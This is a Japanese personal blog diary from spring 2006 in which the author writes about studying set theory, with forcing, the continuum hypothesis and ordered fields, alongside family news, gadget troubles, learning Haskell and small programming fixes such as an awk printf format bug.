「ゲーデルの夢」に関する最近の動向を教えて頂けたのは、まさに「インターネットからの贈り物」であると感じています。

2006年5月5日(金)

モカちゃんブログを始める
モカちゃんが「無料のブログ始めたいのだけれどどこがいいの～」と聞きに来ました。どこがいいのかと聞かれてもあまり良くわからないのですが、さすがに Yahoo!! とかましてや livedoor というのもなんなので、「『はてなダイアリー』あたりが無難なのでは」と答えました。
そこでさっそくアカウントを作り始めたのですが、ユーザーIDはどうしようかとか、画面のデザインは何を選べば良いのかあたり結構迷っていたようです。デザインの選択に関しては、文字が読みやすいのを選ぶようにとアドヴァイスして、とにもかくにも何か書き始めたようです。本当は見に行きたいのですが、アクセス数が少ないうちに見に行くとばれてしまい絶対怒られるので、ある程度アクセス数が増えて目立たなくなったらのぞきに行くことにしましょう。モカちゃんもたまにこの日記を見に来るのでお互い様です(笑)。
私が下手すぎると言うこともあるのですが、モカちゃんの文章は私よりはるかに上手です。また奥さまゆずりだと思うのですが、一目見て他人の性格を把握する能力は驚異的で、精神的に私より大人である部分も多いと思います。さらに「ぱどタウン」でも (子供同士で争いごとがエスカレートする場合も多い)、必ず自制した行動を心がけていました。従ってネットでの行動に関して全く心配していません。良く言われるプライバシーに関する心配ですが、正直言いましてそれほど神経質になる必要はないと思います。書いている内容に問題がなければ、場合によって本名がが分かっても全く心配する必要はないはずです。そもそもこの日記経由で本名を知っている人も多そうですし。ただし最近ちょっとコンピューターの前に座っている時間が長すぎるかなとは思っています。
しばらく様子を見て、どうしても解決が難しそうな問題が発生した場合には何らかのアドヴァイスすることにします。

2006年5月3日(水)

強制法入門PDFファイル
[集合論雑記目次]
集合論雑記の強制法に関する部分をまとめたPDFファイルを作りました。誤りのご指摘やご意見等大歓迎です。メールでお知らせ下さい。
集合論雑記強制法に関する部分でいくつか誤りと論理的な順序等の問題が発見されたので、まだ全部ではありませんが日記の該当場所にそのむねは明記しました。
http://evariste.jp/kagami/diary/0000/forcing-1.0.pdf
http://evariste.jp/kagami/diary/0000/forcing-1.0.tex (EUC)
再配布改変等はまったく自由です。著作権は放棄します。といいますか私の個人的に公開した記載物に関し、著作権という概念は存在しないものと思って下さい。例えば著者名のみを書き換えて再配布されても文句は言いません。ただし本文で引用した著書の著者もしくは関係者から「引用が多すぎる」等の苦情があった場合、それが直接私自身への苦情でない限り責任を持ちません。
配布・内容の改変等については 2006年6月8日の記事を参照して下さい。

2006年5月2日(火)

しらたまちゃん電池最終報告
最近しらたまちゃん(Apple Wireless Mouse) のニッケル水素電池が一週間しかもたなくなってしまいました。一月ほど前までは10日程度使えたので、やはり温度が高くなったため放電する量が増えてしまったのでしょうか。
結局 eneloop をもう一組買いました(笑)。
二週間以上もちます。でも eneloop でないほうが四つも余ってしまいました。愚かとしか言いようがありません。コストですか？もうどうでもいいです(笑)。
コスト比較表にコメントを追加。これにてしらたまちゃんの電池ねたは封印いたします(^^。
エルデシュクイズ
今日はクイズです。来週から関口宏さんの「東京フレンドパーク」のルールが変更になります。ゲームをしてコインを集めるところまでは変わらないのですが、コインを 3つ以上集めた場合、今までのようにダーツではなく次の最終ゲームの挑戦権を得ます。
カーテンで隠され中が見えない部屋が 3つ並んでいます。3つの部屋の中の一つには「パジェロ」が入っていて、他の二つの部屋の中は「たわし」です。関口さんはどの部屋に「パジェロ」が入っているかを事前に知っています。
挑戦者は三つの部屋の中から一つの部屋を選びます。
ここで関口さんは、挑戦者が選んだ部屋以外から「たわし」が入っている部屋 (少なくとも一つある)のカーテンを開けます。はずれ部屋を一つ教えてくれる訳です。さらにこの段階で挑戦者は一度だけ場所を移動することが可能です。移動しなくてもかまいません。いずれにしても挑戦者が立っている場所の部屋の商品をもらえるのです。

[問題] 挑戦者はパジェロが欲しい場合、場所を移動するべきかどうか？
正解を知りたい人はエルデシュの伝記を買いましょう。個人的にはお薦め本です(^^。
この問題に関してのみ、エルデシュと同じ解答でした(笑)。

2006年4月29日(土)

連休の予定
連休はカレンダー通りに休む予定です。例のごとくどこかに出かけたりする予定はありません。最大の目標は強制法を使った連続体仮説のZFCからの独立性の証明PDF化を完成させることです。
現在の進捗率は65%位でしょうか。書いた量のみに着目すると予定の80%程度は出来上がっていると思いますが、お約束で最後の詰めの部分にかなりの時間が必要である思われます。全部証明を見直しながら書いているので存外時間がかかります。残っているのは Generic拡大の一部と連続体仮説のZFCからの独立性の部分ですから、すでに道具立ては全部そろっているのかも知れません。全部で15ページ程度になりそうです。ある程度は仕方ないとしても、本の証明そのままというのも問題があるので、なるべく自分でヴァリエーションをつけるようにはしているのですが、そうすると間違いが多くなるのが泣きどころなのです(笑)。

2006年4月28日(金)

いまいち使えないBluetooth
WX310KとPowerBookのBluetooth接続ですが、「PowerBookから切断」の場合のみフリーズするのならば良いのですが、WX310Kが発呼に失敗した場合や回線状況が悪化して切断が発生した場合もフリーズする確率が高いのです。実際に使いたくなるのは出先とか電波状況が余り良くない場合が多いでしょうから、当面運用は無理のような気がします。WX310Kのプロトコルの実装もよろしくないのかも知れませんが、通信プロトコル実装の常として「いかなる異常な遷移に陥っても回復する」義務があるので、PowerBook側の修正が望まれます。
まさか京セラのドライバーが悪さをしているとか。なんとなくダイアルアップスクリプト以外には導入されていないような気がするのですが、もしかして Bluetoothの拡張ドライバーみたいなのがインストールされてたらやだな。

2006年4月27日(木)

WX310K届く
昨日注文したばかりなのに本日もう届きました。ブックマークは全滅なのですが、幸いにして住所録の方は以前フリーソフトでPCに保存してあったので割とスムーズに移行出来ました。肝心の速度ですがさすがに64Kbpsというわけには行きませんが、余り回線状況がよくないと思われる自宅で 45Kbps 程度の実効速度が出るようです。今までの実効速度が25Kbps程度だったことを考えるとこちらは大幅な改善と言えそうです(*)。
AH-K3001VではPHS本体でネットにアクセスする場合、画像を表示しないようにしていたのですが、今後自宅画像縮小プロキシーと組み合わせれば、本体の表示が早くなったことと併せ、画像ありでも実用的に使用出来るかも知れません。
さらに特筆すべきこととして、AH-K3001V より電波感度が良いらしく、今までだと自宅内では非常に電波が微弱で使用不可能な場合も多かったのですが、WX310K の場合自宅内での使用も問題なさそうです。
PowerBook本体からのインターネット接続ですが、こちらもUSBの方は特に問題なく接続可能でした。
一番便利そうな Bluetooth によるインターネットへの中継機能ですが、こちらは案の定「ペアリング」がなかなかうまくゆかずはまったのですが、 Appleのページを参考にしていろいろ試しているうちに突然認識されました(笑)。実際に使ってみると思いのほか便利です。「USBと違って充電出来ないからあんまり使わないだろうな～」と予想していたのですが、以前より速度が速くなったこともあり、こちらは短時間の通信に多用しそうです。
ただし問題が一つありまして、切断時ほぼ確実に PowerBook がフリーズするのです。幸か不幸かPowerBook側からではなくWX310K側から切断すると落ちないらしいことが分かり、なんとか運用に耐えそうですが、少々神経を使うことは事実です。この問題は私固有の現象かと思い調べたところ、 Macで京ぽん2を使用するなるページでも同様な現象が報告されているようです。
いずれにしても2万円強の出費はちと痛かったのですが、さすがに新しい機種だけあり今までより遥かに便利になりました。ちょうど取り替え時期だったのかも知れません(^^。
(*) いずれもレンタルサーバーと自宅間での実測。

2006年4月26日(水)

AH-K3001V壊れる
今朝AH-K3001Vを充電器から取り出したところ、うんともすんとも言いません。あれれ？もしかして電源切れちゃったのかな～、と思いスイッチを長押ししたのですが反応がありませんし、念のため蓋を開けて電池の部分の結線を調べたのですがこちらも問題なさそうなのです。
間違いなく壊れてしまったようです(-_-)
いやはや一月に電池を交換したばかりなのにもったいないですなあ。こんなことになるのなら新しいのに機種変更しておけば良かった。大失敗です！！
このまま長期間使用できないのも困りますし、当然修理して無駄なお金を払う気もありません。同じ機種に機種変更すれば数千円の出費ですむかも知れませんがさすがにねえ(笑)。という訳でさっそくウィルコムストアーで WX310K に機種変更しました。月々同じ値段で電波条件がよい場合通信速度が倍になるのでよしとしましょう。二三日中には届くと思います。色ですか？そりゃもちろんピンクですよ(笑)。

2006年4月25日(火)

RSSでへまをやる
おうちの日記はRSSに対応しているのですが、昨日の日記をアップした後、4月分の記事のRSSデーターが全部消滅していました。3月の最後の記事が最新になっていたのです(笑)。
どうして突然動かなくなったのだろうと調べたところ、どうも昨日のお題目である「99%カカオ」のパーセントがよろしくなかったようで、調べてみたところRSSの元データーを作るとき、面倒なのでお題目の文字列自身を printf のフォーマットに埋め込んでいたのです。超初心者バグじゃん(^^。
```
printf("%04d%2d%2d " $0, year, month, day)   # $0 はお題目の文字列
```
確かにこの状態で $0 にパーセントが入っているとまずいです。正しくは
```
printf("%04d%2d%2d %s" year, month, day, $0)
```
という感じでしょうか。
昨日は調べるのが面倒なのでとりあえずパーセントを「全角文字」にするという姑息な手段を選んだのですが、本日プログラムを上記のように変更したので、次のバグが判明するまでは大丈夫だと思います。

2006年4月24日(月)

99％カカオ
会社で86％のを一口くれた同僚がいるのです。なので明日はお返しに話題の99％を持っていきます。購入時レジに持っていったら、店員さんに「とても苦いのですがよろしいでしょうか。」と聞かれました(^^。帰宅してから試しに少し食べてみましたが...結構いけるではないか(笑)。

2006年4月22日(土)

連続体濃度以下の順序体
勝手にねたを頂いて申し訳けございませんが、面白そうだったので私も考えてみました。以下「体」はすべて可換体を意味することとします。証明すべきことは次の通り。
基数が $2^{\aleph_{0}}~$ 以下の順序体は体として実数の部分体と同型である

[体の拡大の基本定理]
$L/K~$ を体の拡大とするとき $L~$ は $K(T)~$ の代数拡大となる。ここで $T\subset{L}~$ は $K~$ 上代数独立な集合であり $L/K~$ の超越基底と呼ぶ。二つの超越基底の濃度は等しい。
$L~$ を $\kappa=|L|\le{2^{\aleph_0}}~$ を満たす有理数体の拡大体(要するに標数0の体)とします。すると上の定理により $L~$ は有理式体 $L_0~=~\mathbb{Q}((X_{\lambda})_{\lambda<\kappa})~$ の代数拡大と同型になります。今 $\mathbb{R}~$ の $\mathbb{Q}~$ 上の代数独立で基数が $\kappa~$ である $(x_\lambda)_{\lambda<\kappa}~$ を選ぶと $L_0~$ と $L_1~=~\mathbb{Q}((x_{\lambda})_{\lambda<\kappa})\subset\mathbb{R}~$ には $f(X_{\lambda})~=~x_{\lambda}~$ を満たす自然な同型が定義され、さらに $L_0~$ には上の同型により(もとの体構造と両立する)自然な順序体構造を導入することが可能です。ここでもう一つの定理。
[代数順序拡大の定理]
$L_0,L_1~$ を順序体とし $f:L_0~\rightarrow~L_1~$ を順序体同型とする。 $K_0,K_1~$ をそれぞれの実閉包(元の体を部分体とする最小の極大順序体)とするとき $f~$ は $K_0~$ から $K_1~$ への体として同型へ一意に拡張可能であり、その同型は順序体としての同型である。( 藤崎源二郎著・体とガロア理論を参考)
今、初めて $L~$ が実体(順序体の構造が入る)であると仮定します。この仮定と $L~$ が $L_0~$ 上代数的であることにより、 $K_0~$ を $L_0~$ の実閉包とすると $L\subset{K_0}~$ であり、上の定理により(拡張可能な部分はほとんど明らかなのですが...) $L~$ は $L_1~$ の実閉包 $K_1\subset\mathbb{R}~$ に埋め込むことが可能。
上の順序体を単に体として、実閉包を代数閉包、順序体同型を体の同型に変えれば
標数0で濃度が $2^{\aleph_0}~$ 以下の体は複素数体の部分体と同型
が成立しそうです。

2006年4月21日(金)

やっぱり危ない理科教育
中学校に入学したばかりのモカちゃんですが、理科の授業の内容について「これじゃ時間の無駄じゃん」と憤慨して言うのです。どうも植物を採取してその写真を撮りアルバムを作るというお題目らしいのですが、なんとアルバムを作るのにわざわざ PowerPoint を使うそうな。モカちゃんの考えとしては
「デジカメで写真を撮るのだから印刷するのにコンピューターを使うのは仕方ないけど、写真が完成したらアルバムは手書きで十分！ PowerPoint の使い方の方に時間をかけるなんて信じられない。こんな時代だからコンピューターの使い方を覚えるのも大切だけど、それは技術の時間にやれば良いと思う。」
とのことなのです。
全くその通りだと思います。こんな実例を聞くと、「子供に正しいコンピューターの使い方を指導する必要が...」などという以前に先生に対して正しい使い方を教える方が重要な気さえします。そもそも中学校や高校で勉強したり資料を作ったりする場合、コンピューターにたよる必要は全くなく、必要があれば辞書を引いたり、人に聞いたり、図書館で調べるなり「頭や足を使って苦労する」ことがとても大切であると思うのです。
一般社会はもちろん、おそらく数学以外の学問の世界でも、年々「プレゼンテーションは大切」という考え方が強まっているような気がするのですが、個人的には良くない風潮だと思います。物ごとの表面的な部分のみを見せ、本質を隠してしまうような気がするからです。
いずれにしてもただでさえ時間が少なくなり、それに伴い内容が稀薄になっている初等教育が、さらにコンピューターの害毒に犯されているのならば重大な問題であると考えるのです。高校までのコンピューター教育は、例えば「ネットワークでどのように行動するか」等の社会的な面に特化した部分についてのみ行のが良いと思います。特に初等科学教育で生徒にコンピューターを使わせるべきではありません。

2006年4月20日(木)

CFではまる
先日お客様のシステムの更新ということでLinuxブートCFを100枚ほどたこやきしたのです。何枚かサンプルを取り出し検査したところ、問題なく動作しそうなのでそのまま出荷の方に渡したのですが、昨日お客様から「少々動作が変です」という連絡が...。
確かにちゃんと動いているのを見たはずなのにどうしてなんだろう？
ということで調べてみたところ、ななっなんと！
古いヴァージョンのカーネルが入っていました。
古いカーネルですか...。参りましたなあ。そこそこ動くのですが、特別な操作をする場合問題が生じるのです。通常のファイルやプログラムののミスですと、お客様にお願いしてリモートで入れ替えて頂けるのですが、カーネルの入れ替えをお願いするのは余りにも危険です。そもそも組み込み用途のCFということで、ブートローダーは LILO を使っているので、カーネルを入れ替えた後「絶対に間違わないように注意して」おまじない(/sbin/lilo -C なんたら)を行わないと二度と立ち上がらなくなります。
幸い 100枚のうち現場に行ってしまったのは 6枚程度なので、必要なファイル群(含 kernel)を tar.gz で固めて、それを転送・インストールする手順書も書いて、これからリモート lilo の実行です。すごく緊張してます。やだな(笑)。
なんとか無事終了。カーネルを書き換えた後 lilo するのを忘れることが多い。なのでインストール用のシェルを作ったのが良かったかも(^^。

2006年4月19日(水)

アルティン・シュライアーの定理
順序体に関していくつか疑問点があったので学生時代に勉強した代数の本を眺めていたら、アルティン・シュライアーの定理というものが載っていました。
$K~$ を(可換)体として次の条件が成立するとき「実体」と称する。
任意の $x_1,x_2,\cdots,~x_n\in{K}~$ に対し $(x_1^2~+~x_2^2~+~\cdots~+~x_n^2~=~0)~\leftrightarrow~(x_1=x_2=\cdots~x_n~=~0)~$
[アルティン・シュライアー] $K~$ が実体 $\leftrightarrow~$ $K~$ に順序体の構造が入る。
確かにこんなことを勉強した記憶が...。でも極大順序体の基本定理(代数学の基本定理)の方に目がいって、こちらの定理はいいかげんに飛ばし読みしたことは事実です。
完全に忘れていました。
ということは実数体の部分体に「たくさんの不定元」を添加した多項式環を作り、その商体を考えれば任意の濃度の順序体(従って極大順序体)が作れそうです。
ただし上の証明は案の定というか、Zornの補題を使っているので、あまり具体性がありません。くるるさんに教えて頂いた例は非常に具体的に任意の濃度の順序体を構成する方法なので、とても参考になりました。さらにその例では $\mathbb{Q}(X)~$ 上に「 $X~$ がどの有理数よりも大きい」順序を考えるので、 $X~$ は無限大で $1/X~$ は無限小に見えるというお話も面白かったです。コメントを頂きどうもありがとうございました。

2006年4月16日(日)

Haskell本届く
Haskell に興味をもち遊び始めたのですが、やはりネットの情報だけでは理解出来ない部分も多いのです。というかまだ全然分かっていません。そこで三日前に Haskell: The Craft of Functional Programming (International Computer Science Series) Simon Thompson (著) を注文したのですが、思ったより早く本日届きました。ほんとは輸入した方が若干安そうだったのですが、今回はなるべく早く読みたかったので、日本の Amazonに注文したのです。一度ざっと概略を読み、ある程度理解できた段階で「打ち込み」勉強という手順になりそうです。
いつも疑問に思うのは、数学の勉強をする場合は紙とボールペンがあればそれなりに進行するのに、プログラミング言語等の勉強をする場合はどうしても「打ち込んで実行してみる」必要が感じられることです。この辺りの違いは本質的なものなのか、それともプログラミング言語の勉強の場合単に実行してみる誘惑に負けてしまうからなのか、いまいち良くわからないのです。
頭の中ですべてアルゴリズムが完結・定式化され、単なる物理的な存在であるコンピューターでの実行など伴わない方が美しく感じることは事実です。もちろん「実行してテストやデバッグ行う」などということは建前としては論外であり、常々
「プログラムは実行するべきではない」
「特に仕事で作るプログラムはテストを行うべきではない(*)」
と公言してひんしゅくを買っているのですが、現実には 10 行書けば文法エラーが発生し、100行書けば確実に内容が間違っているのが情けないのです。テストしないと怖くて外へ出せません(笑)。
(*) 責任が伴うような重要なプロウグラムがテストをしなければ正当性を証明できないのでは困るし、そもそもテストで正当性を証明するのは不可能であるということ。

2006年4月15日(土)

お笑い順序体
昨日と一昨日順序体の話を書いたのですが、ことえりで漢字変換すると「準所帯」なんて言う風になって、全然うまく行きません。そこでさっそく右の画像のごとく単語登録を始めたのですが、こんなメッセージが出て怒られてしまうのですよこれが(笑)。
最初は何が悪いのか全然分からなかったのですが、もしかしてちと読み方が変なものの、後ろの四文字が宜しくないのかと思い、「うむむ！天下の順序体さまに失礼な！！」なんて考えていたのです(^^。
それでも「これは面白い！絶対ねたにしなきゃなー」と思って一生懸命画面をキャプチャーして一瞬アップまでしたのですよ(^^。ところがその直後よくよく見直してみたら
「よみ」と「単語」の入力を逆にしていました(笑)
いやはや「不適切な文字」ってそういう意味だったのね(^^。てっきりつまんない用語チェックを行っているのかと思いました。よくよく考えてみれば、読みの一部を切り抜けばいくらでも「不適切」な言葉は出てくるので、最初に考えたことなんてありえないのですが、一時「数学用語で『不適切』なものがどれだけあるか調べてみよう」なんて考えたのは、ほんとうにまぬけとしか言いようがありません。

2006年4月14日(金)

続・順序体入門
昨日の記事で、「 $a~=~b~$ なので両辺に $c~$ を加えて $a~+~c~=~b~+~c~$ 」が順序体の公理を眺めても分からなくて困ったと書きました。ところが考えてみると「この場合に限って」は順序の方の公理群から
$a~~=~b~~\leftrightarrow~(a~\le~b)~\wedge~(b~\le~a)~\cr~~\rightarrow~(a~+~c~\le~b~+~c)~\wedge~(b+c~\le~a+c)~\cr~~\leftrightarrow~(a~+~c~=~b~+~c)~$
により証明できそうです。まさか高校の時の教科書にこんな意図があったとは思えませんが(笑)。
未だに分からないのは、
実数体の部分体以外に(極大)順序体(*)の実例はあるのか？

ということです。こちらは本当に長年の謎なのですが、知らないだけで本当は簡単な例があるのかも知れません。
余談ですが Wikipediaの順序体の項で定義2は必要ないと思われます(両辺に $(-a)~+~(-b)~$ を加えれば良いので)。
(*) 順序体に対しその代数拡大で極大な順序体が存在することは Zorn の補題により容易に証明出来ます。極大順序体を $K~$ 特徴づける性質は次の通り。
$a\in{K},~a\ge{0}~$ のとき $x^2~=~a~$ は $K~$ 内に解を持つ
$K~$ 上の奇数次の代数方程式は $K~$ 内に解を持つ
そして
( $K~$ が極大順序体) $\leftrightarrow~$ ( $K(\sqrt{-1})~=~K[X]/(X^2~+1~)~$ は代数閉体)
要するに「中間値の定理」と合わせれば、代数学の基本定理が成立するということであります。

2006年4月13日(木)

高校生のための順序体入門
順序体というのは、四則演算が可能な体系に全順序が定義されたもので、
$a~\le~b~\rightarrow~a+c~\le~b+c~\cr~~a~\ge~0,~b\ge~0~\rightarrow~~ab~\ge~0~$
を満たすものです。どうしてこんな話を書き始めたかといいますと、上の事実を高校一年生のとき授業で習ったのです。しかも先生が趣味で教えたのではなく、ちゃんと教科書に書いてあったのです。本当ですってば(笑)。
もちろん「順序体」という言葉は使わないで、「四則演算と順序」という感じのお題目だったと思うのですが、間違いなく「順序体の公理」以外は一切使用せずに色々なことを証明することが主題だったのです。面倒なので記述しませんでしたが、(可換)体と全順序の公理もちゃんと書いてありました。配置も教科書の最後という絶妙の位置で、要するに期末試験が終わった後に時間が余っていたらのんびり、という配慮さえも感じられたのです。
まず四則演算の基本性質を体の公理のみからきちんと証明してありました。さらに順序の方は、例えば $a^2~\ge~0~$ は $a~\ge~0~$ の場合は公理そのものなので、 $a~\le~0~$ と仮定し、両辺に $a~$ の加法逆元である $-a~$ を加え $0~\le~-a.~$ 上の二番目の公理により $(-a)(-a)\ge~0.~$ 体の公理の方をからの推論でマイナス符号を消去して $a^2~\ge~0~$ という感じです。特に $1~$ は乗法単位元で $0~$ と異なるので $1~=~1^2~>~0~$ ということも書いてあった記憶が...。そして最後は「複素数には順序付けができない(*)」という事実でしめくくられていました。
一つ悩んだのは「 $a~=~b~$ なので両辺に c を加えて $a~+~c~=~b~+~c~$ が成立する」理由が公理からはどうしても分からなかったことなのですが(先生に聞いたけどなんかごまかされた)、こちらの推論は順序体の公理とは無関係で、等号の規則の方から導かれるといことは後で知った事実です。
個人的にはこの授業を受けた直後から、人並みに数学の勉強を始めたという経緯がありますので、上のような「規則のみによる証明」を知ったことが、無意識下に何らかの影響を与えたのかも知れません。おそらく「新数学」の最後のともしび的な部分もあると思うのですが、今の教科書にもこういう遊び的な要素もいれた方が良いのではと思うこともあるのです。もちろん「こういうのを『お遊び』だと思うのはあなただけです」というつっこみはなしです(^^。
(*) 本当は「順序体とはなりえない」というのが正しいのですが、高校生相手なので教科書も妥協したのでしょうか？一年間位信じていた自分が情けない(笑)。

2006年4月11日(火)

もたなくなったしらたまちゃんの電池
最近しらたまちゃん(Apple wireless mouse)用のニッケル水素電池が 10日位しかもたないのです。まあ 10日もてば運用上特に支障はないのですが、初期の評価では 20日近くもっていたので、少々残念な気もします。原因としては、
1. 存外電池自体の消耗が早い。
2. 特にニッケル水素電池はもともと電圧が低く、マウス自体ぎりぎりのところで動いていると思われる。その電圧が微妙に下がりやすくなっている。
3. 暖かくなったので放電が速くなっている。
4. いくら使っても充電代なんて無視できるということで、調子に乗り前より使用量が多い(笑)。
あたりが考えられます。うーむどれが本当の原因なのだろうか？
今、ローテーションで使用している電池は eneloop でないものなので、次回のローテーションで予備として持ち歩いている eneloop で実験すれば、少なくとも 3 が原因かどうかは分かりそうです。
＃eneloop で長持ちするともう一組衝動買いしてしまいそう。やだな！(笑)。

2006年4月9日(日)

続・集合論勉強再開
[集合論雑記目次]
一週間ほど前からぼちぼち勉強を再開していますが、もちろん忘れている部分が非常に多いのです。特に強制法に関してはきちんと見直した方が良いと考え、今までの集合論雑記の該当部分を眺めてみたのですが、予想通りたくさんの誤りが見つかったのです。気がついた部分には「付記」としてコメントを入れましたが、どうせ勉強し直すのですから、きちんと LaTeX で記述、PDF化を行い体裁を整えるとともに、ミスの消去や論理的な順番の整理等を行うことにしました。
昨日の12時頃に開始して本日の12時現在まで最も基本的部分、即ち集合論雑記の2005年5月から2005年7月の部分を記述しました。こんどは二回目ということもあり大分論理的に整理され、誤りやあいまいな点も少なくなったと思います。現在、ソーステキストが 450行くらいで PDF化したものが 5ページくらいの量です。
最近あまり体調よくなかったのに、どこにこんな集中力が残っていたのだろう(笑)。
残すところは Generic Extension の定義(これは実際には使用されない)、強制関係がZFCを満たすこと(これが存外大変)、それから連続体仮説の否定がZFC と矛盾しないことの証明です。連休明けまでに完成の予定です。

2006年4月7日(金)

Haskell をインストールしてみる
最近未知のプログラミング言語を学ぼうという気もほとんどなくなっていたのですが、偶然 Haskell という言語を知りまして、なかなか面白そうなので遊んでみる気になったのです。昔と違い「プログラミング言語」で遊びたい場合、オープンでさらに優秀な処理系が手に入るのは助かります。今回は fink を利用し、 GHCなる処理系をインストールしてみました。
```
$ fink install ghc-dev
```
ところがコンパイルを始めてから 30分くらいでエラー終了してしまいました。仕方がないのでネットでーエラーメッセージ(忘れた)を検索したところ、どうも /usr/local/include/dlfcn.h なるファイルが存在するとよろしくない場合があるそうです。そこで、dlfcn.h を一時的にリネームしインストールを再開したのです。
さらに 13時頃に始めた二回目のインストールが、大量のライブラリーをコンパイルしていていつまでたっても終わりません。いかん！このままでは帰るまでに終わらないではないか(笑)。最悪サスペンド状態にして持ち帰るしかないかな～、と思い始めたら 18時頃終わりました(^^。普段は PowerBook で性能的な不満は特にないのですが、こういう場合 MacBook Pro で並列にコンパイルすると速いんだろうな～、と少々うらやましく思ったりします。
メモリーの消費もなかなかのものです。
```
bash$ ls -l /var/vm/
total 2097152
drwx--x--x   14 root  wheel        476  4  5 02:00 app_profile
-rw------T    1 root  wheel   67108864  4  7 10:01 swapfile0
-rw------T    1 root  wheel   67108864  4  7 12:07 swapfile1
-rw------T    1 root  wheel  134217728  4  7 12:53 swapfile2
-rw------T    1 root  wheel  268435456  4  7 13:17 swapfile3
-rw------T    1 root  wheel  536870912  4  7 15:01 swapfile4
```
逆に言うと、これだけメモリーを使った状態で、さらにコンパイルのために CPU をフルに使用しても、他の作業をストレスなく行えたのはMac OSX(というか FreeBSD なのかな)のメモリー管理が非常に優秀であるからだと思います。
肝心の言語や処理系に関する感想ですが、まだ全然分かっていません(笑)。ぼちぼち遊んでもし理解出来たら何か書くかも知れません。

2006年4月6日(木)

お礼
くるる様へ。過分なお言葉を頂戴しありがとうございます。集合論雑記に関してはもちろんですが、「数学を愛している」と書いて頂いたのがとてもうれしかったです。
体力の限界？
一昨日あたりから左の首・肩にかけて痛いのです。さらに左手の手首のあたりも痛くなってきました。
もちろん原因は、ただでさえ重めのノート PC である PowerBook といっしょにとっても重い本を持ち歩いているせいです。本を左手にもって電車で立ち読みするのもよろしくないようです(笑)。
しばらくの間は他の本を持ち歩くか、それとも自分の集合論雑記を印刷して、間違い探しをした方が良いかも知れません。でも、電車の中で数学の本を読んでいると、次の瞬間目的地に着いている場合も多く、通勤時間が長い身としては非常に助かるのです。

2006年4月5日(水)

モカちゃんの入学式
今日はモカちゃんの中学校の入学式です。それにしてもどうして午後からなのだろうか。奥さまによりますと、「市のえらい人」がいろんな学校を回るため、時刻を分散させたのであろうというのですが、別に「えらい人」来なくてもいいんですがねえ(笑)。

2006年4月3日(月)

二女の入学式
今日は二女の大学の入学式です。奥さまの話によりますと、スーツ姿がなかなかかっこよかったそうです。

2006年4月2日(日)

集合論勉強再開
昨日、 ~~ゲーデルの「予想」が本筋では正しかったという事実~~ ゲーデルの「予想」が本筋では正しかった可能性もありうることを知り、大変感動するとともに、しばらくさぼっていた集合論の勉強を再開する意欲がわいてきました。そこでぼちぼち本などを取り出して読み直してみたのですが、案の定忘れてしまった部分が非常に多いのです。従って少なくともキーポイントに関しては一度教科書を読み直す必要がありそうです。
幸か不幸か通勤時間が長いので、しばらくの間とっても重い Jech 本を持ち歩くことになりそうです。順調に事が進めば二月くらい後には「集合論雑記」を再開出来るかも知れません。

2006年4月1日(土)

連続体の濃度・ゲーデル
[集合論雑記目次]
いつも勝手にお邪魔しているくるる氏のくるるの数学ノートにおける 3月30日の記事に、Woodin が「解けるならば連続体濃度は $\aleph_{2}~$ だ。」とインタヴューに答えていたという記事があったのです。不勉強にてこのような話を初めて知ったのですが、正直言って大変驚くとともに感動的だったのです。
連続体の濃度を ZFC で決定出来ないことは、 Paul Cohen が強制法(forcing) により証明しているので、上の事実は「ZFC に妥当な公理を付け加えれば」という意味であると思います。残念というか当然といいますか、「妥当な公理」がどんなものか見当もつかないのですが、上の記事を読んだときの驚きは並大抵のものではありませんでした。「リーマン予想が解けた」と言われるより驚いたかも知れません。
ここからは一般向けの本を読んだ耳知識なのですが、上の事実はゲーデルが晩年主張していたことで、さらに彼はそれを「正当化」する論文まで書いたのです。ところがその内容にはかなり問題があったらしく(というか問題外だったらしい)、査読者は「この論文がゲーデルのものでないなら雑誌に掲載するべきではない。」と主張し、結局編集者は雑誌への掲載をあきらめたそうなのです。その後、Paul Cohen が一時「連続体の濃度は非常に大きく、弱到達不可能基数である可能性が強い。」と主張したこともあったらしいのですが、しばらくして Cohen 自身がその見解を取り下げ、一時「連続体の濃度の決定は難しい」という考えが主流になったという話を読んだこともあります。
いずれにしてもゲーデル没後 30年近く経過した現在、彼の直感が正しかったことが分かりつつある状況らしいのです。ゲーデルの直感と洞察力の底知れない深さにあらためて畏敬の念を禁じ得ません。
尚、上のくるる氏の記事のコメントに書き込みを行ったのは私です。貴重なコメントを頂きありがとうございます。

2006年3月31日(木)

かみあわない話
会社でとある人が私のところに来て言うのです。「かがみさん、このデーターのフォーマットは16進数ですよね。」
実際のフォーマットはいわゆる 32bit バイナリーであり、CPU が数値として解釈する内容なので、「違いますよ数値です！」と答えたのですが、どうも「数値」というと10進数のことと思っているらしく、「どうみても16進なのだけど」と言うのです。仕方ないので「10進数や16進数って文字列じゃないですか。このデーターは文字列と解釈出来ず CPU が自然に数と解釈する内容なので数値なのです。」と言ったのです。
以下はお約束の噛み合ない話となったのですが、最後は面倒になって「はいはい！あなたが16進数と思っているフォーマットですよ。」と矛を収める形になりました。いやはやそれにしても「数値」と「数字」の違いに鈍感な人が多いのには驚きます。しかもなまじコンピューターなどを使って、2進数・8進数・ 10 進数・16進数での文字列による数値表現を理解する必要がある人になるほど誤った認識を持ちやすいようです。困ったものですな。

2006年3月29日(水)

つくば出張
今日から明日にかけてつくばに出張です。

2006年3月28日(火)

ほんとにできたトリプルディスプレイ
前に Mac のデュアルディスプレイと Windows のディスプレイ間を無線マウスで移動して、キーボードとマウスを共有出来ると便利だな～と書きました。もちろんそのときは冗談半分だったのですが、なんと Synergy なるフリーなツールが存在し、ネットワークを利用してそういうことが出来るという情報を I さんに頂いたのです。
開発元は http://synergy2.sourceforge.net/ でして、Windows, X11/UNIX, Mac OSX いずれにも対応しているのです。なのでさっそくダウンロード・インストール・設定を行い試したところ、ちゃんと Mac の二つの画面は論理的に一つのものと認識して、私の環境の場合マウスを上に持っていくとWindows の方にポインタが移動し、さらにキーボードも使えるようになるのです。もちろん Windows の画面でマウスを下方向に移動すると Mac の画面に戻ります。心配していたマウスの動きや Expose との競合も問題なくこれはほんとに便利です。
一つだけ難点がありまして、Mac のキーボードで Windows の(漢字)入力モードを切り替える方法が分からなかったのですが、こちらはCmdSpace というソフトウエアーを Windows 側にインストールすることにより Mac の「りんご+スペース」で Windows の入力モードが切り替わるようになりました。良いです！！
余談ですが Linux マシンに対しても同じような設定を行い、四つディスプレイも可能なのですが、ssh で入れば良いので Linux マシンにディスプレイは接続されていません。というか Mac の二つ目のディスプレイはLinux マシンで使っていたのを流用したものですからねえ(笑)。

2006年3月27日(月)

二女ホームページに挑戦
